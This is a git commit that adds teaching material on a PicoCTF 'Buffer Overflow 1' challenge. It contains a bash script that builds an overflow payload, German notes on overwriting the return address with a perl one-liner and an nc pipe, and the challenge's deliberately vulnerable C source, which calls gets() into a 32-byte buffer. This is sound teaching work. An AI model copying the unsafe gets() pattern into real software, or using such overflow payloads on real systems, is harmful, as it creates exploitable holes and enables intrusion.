Add linux_intro presentation

This commit is contained in:
Valentin Brandl
2022-10-05 17:58:22 +02:00
parent 8dfc841a59
commit 1e0227831b
33 changed files with 297 additions and 8 deletions

View File

@ -0,0 +1 @@
payload

View File

@ -0,0 +1,17 @@
#!/usr/bin/env bash
function repeat() {
n="${1}"
string="${2}"
printf "%${n}s" | tr " " "${string}"
}
function main() {
buffer_size="${1}"
address="${2}"
filler="$(repeat "${buffer_size}" A)"
newline="\n"
printf "%s%b%b" "${filler}" "${address}" "${newline}"
}
main "${@}"

View File

@ -0,0 +1,10 @@
# PicoCTF - Buffer Overflow 1
https://play.picoctf.org/practice/challenge/258?category=6&page=1
* Buffergröße bestimmen
* Return Adresse überschreiben
* Adresse der Zielfunktion finden `nm -g -C vuln`
* Little Endian!
* `./payload.sh 44 "\xf6\x91\x04\x08" | nc ...`
* `perl -e 'print "A"x44 . "\xf6\x91\x04\x08\n"'`

Binary file not shown.

View File

@ -0,0 +1,42 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"
#define BUFSIZE 32
#define FLAGSIZE 64
void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
printf(buf);
}
void vuln(){
char buf[BUFSIZE];
gets(buf);
printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}